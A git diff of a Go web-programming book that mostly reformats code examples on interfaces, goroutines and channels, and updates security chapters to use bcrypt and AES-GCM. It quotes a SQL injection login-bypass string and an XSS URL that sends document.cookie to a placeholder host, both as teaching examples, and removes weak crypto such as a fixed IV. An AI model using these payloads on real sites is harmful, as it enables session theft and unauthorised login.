main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Printf("list[%d] is of a different type\n", index) } } +} +``` It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`. - switch test Let's use `switch` to rewrite the above example. - - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List []Element - - type Person struct { - name string - age int - } - - func (p Person) String() string { - return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" - } - - func main() { - list := make(List, 3) - list[0] = 1 //an int - list[1] = "Hello" //a string - list[2] = Person{"Dennis", 70} - - for index, element := range list { - switch value := element.(type) { - case int: - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - case string: - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - case Person: - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - default: - fmt.Println("list[%d] is of a different type", index) - } +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) } } +} +``` One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern . @@ -329,63 +333,63 @@ One thing you should remember is that `element.(type)` cannot be used outside of The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will behave as if it has all the methods that the embedded interface has. We can see that the source file in `container/heap` has the following definition: - - type Interface interface { - sort.Interface // embedded sort.Interface - Push(x interface{}) //a Push method to push elements into the heap - Pop() interface{} //a Pop method that pops elements from the heap - } - +```Go +type Interface interface { + sort.Interface // embedded sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop method that pops elements from the heap +} +``` We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly. - - type Interface interface { - // Len is the number of elements in the collection. - Len() int - // Less returns whether the element with index i should sort - // before the element with index j. - Less(i, j int) bool - // Swap swaps the elements with indexes i and j. - Swap(i, j int) - } - +```Go +type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) +} +``` Another example is the `io.ReadWriter` in package `io`. - - // io.ReadWriter - type ReadWriter interface { - Reader - Writer - } - +```Go +// io.ReadWriter +type ReadWriter interface { + Reader + Writer +} +``` ### Reflection Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go. There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). - +```Go t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value - +``` After that, we can convert the reflected types to get the values that we need. - +```Go var x float64 = 3.4 v := reflect.ValueOf(x) fmt.Println("type:", v.Type()) fmt.Println("kind is float64:", v.Kind() == reflect.Float64) fmt.Println("value:", v.Float()) - +``` Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. - +```Go var x float64 = 3.4 v := reflect.ValueOf(x) v.SetFloat(7.1) - +``` Instead, we must use the following code to change the values from reflect types. - +```Go var x float64 = 3.4 p := reflect.ValueOf(&x) v := p.Elem() v.SetFloat(7.1) - +``` We have just discussed the basics of reflection, however you must practice more in order to understand more. ## Links diff --git a/en/02.7.md b/en/02.7.md index 4fabac31..7827fa24 100644 --- a/en/02.7.md +++ b/en/02.7.md @@ -7,32 +7,33 @@ It is said that Go is the C language of the 21st century. I think there are two goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). - +```Go go hello(a, b, c) - +``` Let's see an example. +```Go +package main - package main +import ( + "fmt" + "runtime" +) - import ( - "fmt" - "runtime" - ) - - func say(s string) { - for i := 0; i < 5; i++ { - runtime.Gosched() - fmt.Println(s) - } +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) } +} - func main() { - go say("world") // create a new goroutine - say("hello") // current goroutine - } +func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine +} +``` Output: - +``` hello world hello @@ -42,7 +43,7 @@ Output: hello world hello - +``` We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. @@ -54,93 +55,96 @@ Before Go 1.5,The scheduler only uses one thread to run all goroutines, which me ## channels goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. - +```Go ci := make(chan int) cs := make(chan string) cf := make(chan interface{}) - +``` channel uses the operator `<-` to send or receive data. - +```Go` ch <- v // send v to channel ch. v := <-ch // receive data from ch, and assign to v - +``` Let's see more examples. +```Go +package main - package main +import "fmt" - import "fmt" - - func sum(a []int, c chan int) { - total := 0 - for _, v := range a { - total += v - } - c <- total // send total to c +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v } + c <- total // send total to c +} - func main() { - a := []int{7, 2, 8, -9, 4, 0} +func main() { + a := []int{7, 2, 8, -9, 4, 0} - c := make(chan int) - go sum(a[:len(a)/2], c) - go sum(a[len(a)/2:], c) - x, y := <-c, <-c // receive from c + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c - fmt.Println(x, y, x + y) - } - + fmt.Println(x, y, x+y) +} + +``` Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. ## Buffered channels I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. - +```Go ch := make(chan type, n) n == 0 ! non-buffer(block) n > 0 ! buffer(non-block until n elements in the channel) - +``` You can try the following code on your computer and change some values. - - package main +```Go +package main - import "fmt" +import "fmt" - func main() { - c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine - c <- 1 - c <- 2 - fmt.Println(<-c) - fmt.Println(<-c) - } - +func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} + +``` ## Range and Close We can use range to operate on buffer channels as in slice and map. +```Go +package main - package main +import ( + "fmt" +) - import ( - "fmt" - ) - - func fibonacci(n int, c chan int) { - x, y := 1, 1 - for i := 0; i < n; i++ { - c <- x - x, y = y, x + y - } - close(c) +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x+y } + close(c) +} - func main() { - c := make(chan int, 10) - go fibonacci(cap(c), c) - for i := range c { - fmt.Println(i) - } +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) } - +} + +``` `for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status. @@ -152,67 +156,69 @@ Another thing you need to remember is that channels are not like files. You don' In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels. `select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly. +```Go +package main - package main +import "fmt" - import "fmt" - - func fibonacci(c, quit chan int) { - x, y := 1, 1 - for { - select { - case c <- x: - x, y = y, x + y - case <-quit: - fmt.Println("quit") - return - } - } +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x+y + case <-quit: + fmt.Println("quit") + return + } } +} - func main() { - c := make(chan int) - quit := make(chan int) - go func() { - for i := 0; i < 10; i++ { - fmt.Println(<-c) - } - quit <- 0 - }() - fibonacci(c, quit) - } - +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} + +``` `select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore). - - select { - case i := <-c: - // use i - default: - // executes here when c is blocked - } - +```Go +select { +case i := <-c: +// use i +default: +// executes here when c is blocked +} +``` ## Timeout Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select. +```Go +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <-c: + println(v) + case <-time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <-o +} - func main() { - c := make(chan int) - o := make(chan bool) - go func() { - for { - select { - case v := <- c: - println(v) - case <- time.After(5 * time.Second): - println("timeout") - o <- true - break - } - } - }() - <- o - } - +``` ## Runtime goroutine The package `runtime` has some functions for dealing with goroutines. diff --git a/en/02.8.md b/en/02.8.md index b1306758..e5b8cbe8 100644 --- a/en/02.8.md +++ b/en/02.8.md @@ -1,13 +1,13 @@ # 2.8 Summary In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do. - +```Go break default func interface select case defer go map struct chan else goto package switch const fallthrough if range type continue for import return var - +``` - `var` and `const` are used to define variables and constants. - `package` and `import` are for package use. - `func` is used to define functions and methods. diff --git a/en/09.4.md b/en/09.4.md index d6bbe9bd..dd1ec4cf 100644 --- a/en/09.4.md +++ b/en/09.4.md @@ -32,7 +32,7 @@ If the user inputs a user name or password as: Then our SQL becomes the following: - SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password. diff --git a/en/09.5.md b/en/09.5.md index 765430d5..39afa941 100644 --- a/en/09.5.md +++ b/en/09.5.md @@ -4,11 +4,11 @@ Over the years, many websites have suffered from breaches in user password data. As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them? -## Common solutions +## Bad solution -Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is not feasible to recover the original data given the hashed data -hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on. +Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is not feasible to recover the original data given the hashed data - hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on. -You can easily use the three aforementioned encryption algorithms in Go as follows: +You can easily use the three aforementioned hashing algorithms in Go as follows: //import "crypto/sha256" h := sha256.New() @@ -32,56 +32,55 @@ There are two key features of one-way hashing: Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`. -We can see that encrypting user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world. +We can see that hashing user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world. -## Advanced solution +## Good solution -Through the above description, we've seen that hackers can use `rainbow table`s to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn't even know where to start. - -An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it's much more practical to use the existing, battle-hardened hash algorithms that are already out there. - -But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process. - -Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called "salting" to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key. - - //import "crypto/md5" - // Assume the username abc, password 123456 - h := md5.New() - io.WriteString(h, "password need to be encrypted") - - pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) - - // Specify two salt: salt1 = @#$% salt2 = ^&*() - salt1 := "@#$%" - salt2 := "^&*()" - - // salt1 + username + salt2 + MD5 splicing - io.WriteString(h, salt1) - io.WriteString(h, "abc") - io.WriteString(h, salt2) - io.WriteString(h, pwmd5) - - last :=fmt.Sprintf("%x", h.Sum(nil)) - -In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is. - -## Professional solution - -The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible. +The method mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible. How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`. -Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s -so much so that it may even be infeasible to try. +Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s - so much so that it may even be infeasible to try. -In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap). +In Go, it's recommended that you use the `bcrypt` package. -The package's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt +The package's source code can be found at the following link: https://github.com/golang/crypto/blob/master/bcrypt/bcrypt.go -Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption: +Here is an example code snippet which can be used to hash, store and validate user passwords: - dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) + package main -You can generate unique password values using the above method, which are by far the most difficult to crack. + import ( + "fmt" + "log" + + "golang.org/x/crypto/bcrypt" + ) + + func main() { + userPassword1 := "some user-provided password" + + // Generate "hash" to store from user password + hash, err := bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost) + if err != nil { + // TODO: Properly handle error + log.Fatal(err) + } + fmt.Println("Hash to store:", string(hash)) + // Store this "hash" somewhere, e.g. in your database + + // After a while, the user wants to log in and you need to check the password he entered + userPassword2 := "some user-provided password" + hashFromDatabase := hash + + // Comparing the password with the hash + if err := bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err != nil { + // TODO: Properly handle error + log.Fatal(err) + } + + fmt.Println("Password was correct!") + } ## Summary diff --git a/en/09.6.md b/en/09.6.md index de0af06b..840621a7 100644 --- a/en/09.6.md +++ b/en/09.6.md @@ -4,58 +4,80 @@ The previous section describes how to securely store passwords, but sometimes it ## Advanced encryption and decryption -The Go language supports symmetric encryption algorithms in its `crypto` package. Two advanced encryption modules are: +The Go language supports symmetric encryption algorithms in its `crypto` package. Do not use anything except AES in [GCM mode](https://en.wikipedia.org/wiki/Galois/Counter_Mode) if you don't know what you're doing! - `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard. -- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard . It's currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government's encryption standard, but has now been replaced by AES. -Because using these two encryption algorithms is quite similar, we'll just use the `aes` package in the following example to demonstrate how you'd typically use these packages: +In the following example we demonstrate how to encrypt data using AES in GCM mode: package main import ( "crypto/aes" "crypto/cipher" + "crypto/rand" + "errors" "fmt" - "os" + "io" + "log" ) - var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} - func main() { - // Need to encrypt a string - plaintext := []byte("My name is Astaxie") - // If there is an incoming string of words to be encrypted, set plaintext to that incoming string - if len(os.Args) > 1 { - plaintext = []byte(os.Args[1]) - } + text := []byte("My name is Astaxie") + key := []byte("the-key-has-to-be-32-bytes-long!") - // aes encryption string - key_text := "astaxie12798akljzmknm.ahkjkljl;k" - if len(os.Args) > 2 { - key_text = os.Args[2] - } - - fmt.Println(len(key_text)) - - // Create the aes encryption algorithm - c, err := aes.NewCipher([]byte(key_text)) + ciphertext, err := encrypt(text, key) if err != nil { - fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) - os.Exit(-1) + // TODO: Properly handle error + log.Fatal(err) + } + fmt.Printf("%s => %x\n", text, ciphertext) + + plaintext, err := decrypt(ciphertext, key) + if err != nil { + // TODO: Properly handle error + log.Fatal(err) + } + fmt.Printf("%x => %s\n", ciphertext, plaintext) + } + + func encrypt(plaintext []byte, key []byte) ([]byte, error) { + c, err := aes.NewCipher(key) + if err != nil { + return nil, err } - // Encrypted string - cfb := cipher.NewCFBEncrypter(c, commonIV) - ciphertext := make([]byte, len(plaintext)) - cfb.XORKeyStream(ciphertext, plaintext) - fmt.Printf("%s=>%x\n", plaintext, ciphertext) + gcm, err := cipher.NewGCM(c) + if err != nil { + return nil, err + } - // Decrypt strings - cfbdec := cipher.NewCFBDecrypter(c, commonIV) - plaintextCopy := make([]byte, len(plaintext)) - cfbdec.XORKeyStream(plaintextCopy, ciphertext) - fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) + nonce := make([]byte, gcm.NonceSize()) + if _, err = io.ReadFull(rand.Reader, nonce); err != nil { + return nil, err + } + + return gcm.Seal(nonce, nonce, plaintext, nil), nil + } + + func decrypt(ciphertext []byte, key []byte) ([]byte, error) { + c, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(c) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(ciphertext) < nonceSize { + return nil, errors.New("ciphertext too short") + } + + nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] + return gcm.Open(nil, nonce, ciphertext, nil) } Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions: @@ -77,7 +99,7 @@ These three functions implement encryption and decryption operations; see the Go ## Summary -This section describes encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES. +This section describes encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES in GCM mode. ## Links diff --git a/en/images/6.1.cookie2.png b/en/images/6.1.cookie2.png index 2888e392..8363a819 100644 Binary files a/en/images/6.1.cookie2.png and b/en/images/6.1.cookie2.png differ diff --git a/en/images/6.1.session.png b/en/images/6.1.session.png index f538b8f5..a402af49 100644 Binary files a/en/images/6.1.session.png and b/en/images/6.1.session.png differ diff --git a/ja/08.1.md b/ja/08.1.md index 2d2b461a..19d6e1c0 100644 --- a/ja/08.1.md +++ b/ja/08.1.md @@ -84,7 +84,7 @@ Go言語では`ResolveTCPAddr`を使ってひとつの`TCPAddr`を取得しま ### TCP client -Go言語ではnetパッケージの`DialTCP`関数によってTCP接続を一つ確立し、`TCPConn`型のオブジェクトを一つ返します。接続が確立した時サーバも同じ型のオブジェクトを作成します。この時クライアントとサーバは各自が持っている`TCPConn`オブジェクトを使ってデータのやりとりを行います。一般的に、クライアントは`TCPCon`オブジェクトを使ってリクエスト情報をサーバに送信し、サーバのレスポンス情報を読み取ります。サーバはクライアントからのリクエストを読み取り、解析して、応答情報を返します。この接続はどちらかが接続を切断することによってのみ失効し、そうでなければこの接続はずっと使うことができます。接続を確立する関数の定義は以下のとおり: +Go言語ではnetパッケージの`DialTCP`関数によってTCP接続を一つ確立し、`TCPConn`型のオブジェクトを一つ返します。接続が確立した時サーバも同じ型のオブジェクトを作成します。この時クライアントとサーバは各自が持っている`TCPConn`オブジェクトを使ってデータのやりとりを行います。一般的に、クライアントは`TCPConn`オブジェクトを使ってリクエスト情報をサーバに送信し、サーバのレスポンス情報を読み取ります。サーバはクライアントからのリクエストを読み取り、解析して、応答情報を返します。この接続はどちらかが接続を切断することによってのみ失効し、そうでなければこの接続はずっと使うことができます。接続を確立する関数の定義は以下のとおり: func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) diff --git a/ja/09.3.md b/ja/09.3.md index 76a58de9..e3548cc4 100644 --- a/ja/09.3.md +++ b/ja/09.3.md @@ -21,7 +21,7 @@ Webアプリケーションはユーザが送信したリクエストのデー hello astaxie -もし我々が`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`のようなurlを送信した場合、ブラウザがダイアログを表示することに気づくでしょう。これはつまり、ページにXSSセキュリティホールが存在することを示しています。では悪意あるユーザはどのようにしてCookieを盗み出すのでしょうか?上と同じように、`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`というurlでは、現在のcookieが指定されたページ、www.xxx.comに送信されます。このようなURLは一目見て問題があるとわかると思われるかもしれません。いったい誰がクリックするのかと。そうです。このようなURLは人に疑われがちです。しかしURL短縮サービスを使ってこれを短縮した場合、あなたは気づくことができるでしょうか?攻撃者は短縮されたurlをなんらかの経路で広め、真相を知らないユーザが一旦このようなurlをクリックすることで、対応するcookieデータがあらかじめ設定されたページに送信されてしまいます。このようにユーザのcookie情報を盗んだあとは、Websleuthといったツールを使うことでこのユーザのアカウントを盗み出すことができるか検査されてしまいます。 +もし我々が`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`のようなurlを送信した場合、ブラウザがダイアログを表示することに気づくでしょう。これはつまり、ページにXSSセキュリティホールが存在することを示しています。では悪意あるユーザはどのようにしてCookieを盗み出すのでしょうか?上と同じように、`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`というurlでは、現在のcookieが指定されたページ、`www.xxx.com`に送信されます。このようなURLは一目見て問題があるとわかると思われるかもしれません。いったい誰がクリックするのかと。そうです。このようなURLは人に疑われがちです。しかしURL短縮サービスを使ってこれを短縮した場合、あなたは気づくことができるでしょうか?攻撃者は短縮されたurlをなんらかの経路で広め、真相を知らないユーザが一旦このようなurlをクリックすることで、対応するcookieデータがあらかじめ設定されたページに送信されてしまいます。このようにユーザのcookie情報を盗んだあとは、Websleuthといったツールを使うことでこのユーザのアカウントを盗み出すことができるか検査されてしまいます。 XSSに関するより詳しい分析は"[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"と呼ばれる記事を参考にしてください。 diff --git a/ja/09.4.md b/ja/09.4.md index a6e24337..1930899a 100644 --- a/ja/09.4.md +++ b/ja/09.4.md @@ -28,7 +28,7 @@ SQLインジェクションが発生する原因はプログラムがユーザ 我々のSQLは以下のようになります: - SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' SQLでは`--`はコメントを表します。そのため、検索クエリは途中で中断されます。攻撃者は合法的なユーザ名とパスワードを知らなくてもログインに成功します。 diff --git a/ja/09.5.md b/ja/09.5.md index 5e12fb49..5638f84d 100644 --- a/ja/09.5.md +++ b/ja/09.5.md @@ -85,5 +85,5 @@ Go言語のこの三種類の暗号化アルゴリズムの実装は以下の通 ## links * [目次]() - * 前へ: [入力のフィルタリングを確実に行う](<09.4.md>) + * 前へ: [SQLインジェクションの回避](<09.4.md>) * 次へ: [データを暗号化/復号する](<09.6.md>) diff --git a/ja/09.6.md b/ja/09.6.md index c374f978..15a7b831 100644 --- a/ja/09.6.md +++ b/ja/09.6.md @@ -24,7 +24,7 @@ Go言語の`crypto`では対称鍵暗号アルゴリズムをサポートして func main() { // 暗号化したい文字列 plaintext := []byte("My name is Astaxie") - // 暗号化された文字列を渡すと、plaintは渡された文字列になります。 + // 暗号化された文字列を渡すと、plaintextは渡された文字列になります。 if len(os.Args) > 1 { plaintext = []byte(os.Args[1]) } diff --git a/ja/10.1.md b/ja/10.1.md index 67321228..03a394cf 100644 --- a/ja/10.1.md +++ b/ja/10.1.md @@ -5,13 +5,13 @@ Localeとは世界中のある特定の地域を表現したテキスト形式 GO言語はデフォルトで"UTF-8"符号化方式を採用しています。ですので、i18nを実装する際3つ目の部分は考慮しません。以降ではlocaleが表現する前の2つの部分でもってi18n標準のlocale名とします。 ->LinuxとSolarisシステムでは`locale -a`コマンドを使ってサポートされるすべての地域名をリストアップすることができます。読者はこれらの地域名の命名規則を見ることができます。BSDといったシステムではlocaleコマンドはありません。しかし地域情報は/usr/share/localeに保存されています。 +>LinuxとSolarisシステムでは`locale -a`コマンドを使ってサポートされるすべての地域名をリストアップすることができます。読者はこれらの地域名の命名規則を見ることができます。BSDといったシステムではlocaleコマンドはありません。しかし地域情報は`/usr/share/locale`に保存されています。 ## Localeを設定 上のlocaleに対する定義で、ユーザの情報(アクセス情報、個人情報、アクセスしたドメイン名等)に従ってこれに対応するlocaleを設定する必要があります。以下のいくつかの方法を使ってユーザのlocaleを設定することができます。 ### ドメイン名によってLocaleを設定 -Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、www.asta.comを我々の英語のサイト(デフォルトサイト)として、www.asta.cnというドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定sるうことができます。このような処理にはいくつかのメリットがあります: +Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、`www.asta.com`を我々の英語のサイト(デフォルトサイト)として、`www.asta.cn`というドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定sるうことができます。このような処理にはいくつかのメリットがあります: - URLを見るだけで簡単に識別できる - ユーザはドメイン名を通して直感的にどの言語のサイトに訪問するか知ることができる。 @@ -43,11 +43,11 @@ Localeの設定にはアプリケーションが実行される際のドメイ ドメイン名によるLocaleの設定は上で示したようなメリットがあります。しかし一般的にWebアプリケーションを開発する場合このような方法は採用されません。なぜならまずドメインはコストが比較的高く、Localeを一つ開発するのに一つドメイン名を必要とするからです。また、往々にして統一されたドメイン名を申請できるかどうか分かりません。次に各サイトに対してローカライズというひとつの設定を行いたくなく、urlの後にパラメータを追加する方法が採用されがちです。下のご紹介をご覧ください。 ### ドメインのパラメータからLocaleを設定 -現在最もよく使われるLocaleの設定方法はURLにパラメータを追加することです。例えばwww.asta.com/hello?locale=zhまたはwww.asta.com/zh/helloといった具合に。このようにすることで地域を設定することができます:`i18n.SetLocale(params["locale"])`。 +現在最もよく使われるLocaleの設定方法はURLにパラメータを追加することです。例えば`www.asta.com/hello?locale=zh`または`www.asta.com/zh/hello`といった具合に。このようにすることで地域を設定することができます:`i18n.SetLocale(params["locale"])`。 このような設定方法は前に述べたドメインによるLocaleの設定のすべてのメリットをほとんど持ちあわせています。これはRESTfulな方法を採用しており、余計な方法を追加することで処理する必要がありません。しかしこのような方法では各linkにおいて対応するパラメータlocaleを追加する必要があり、すこし複雑でかなりめんどくさい場合もあります。しかし共通の関数urlを書くことですべてのlinkアドレスをこの関数を通して生成することができます。この関数では`locale=params["locale"]`パラメータを追加することでめんどくささを和らげます。 